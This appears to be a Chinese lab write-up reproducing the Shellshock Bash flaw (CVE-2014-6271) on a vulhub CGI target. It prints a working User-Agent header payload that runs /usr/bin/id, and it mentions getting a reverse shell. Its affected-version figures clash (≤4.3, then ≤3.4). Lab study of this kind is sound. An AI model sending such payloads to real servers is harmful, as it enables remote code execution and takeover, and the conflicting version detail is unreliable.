漏洞介绍
漏洞描述
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。HTTP协议的头User-Agent通常是通过环境变量HTTP_USER_AGENT来传递的。
漏洞编号
CVE-2014-6271
影响版本
bash版本≤4.3
修复方式
升级bash版本
环境搭建
使用vulhub靶场搭建
漏洞复现
访问 http://your-id:8080/safe.cgi 是最新版的Bash生成的页面
访问 http://your-id:8080/victim.cgi 是Bash≤4.3生成的页面
它们只有第一行不同,是生成的版本不同
通过在UA头构建payload:
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
在victim.cgi的HTTP消息包中构建payload,放包,可以发现远程代码被执行
在safe.cgi的HTTP消息包中构建payload,放包,可以发现远程代码没有被执行
说明该漏洞只能存在于bash版本小于等于3.4版本存在,该漏洞可以通过bash脚本实现反弹shell获得服务器权限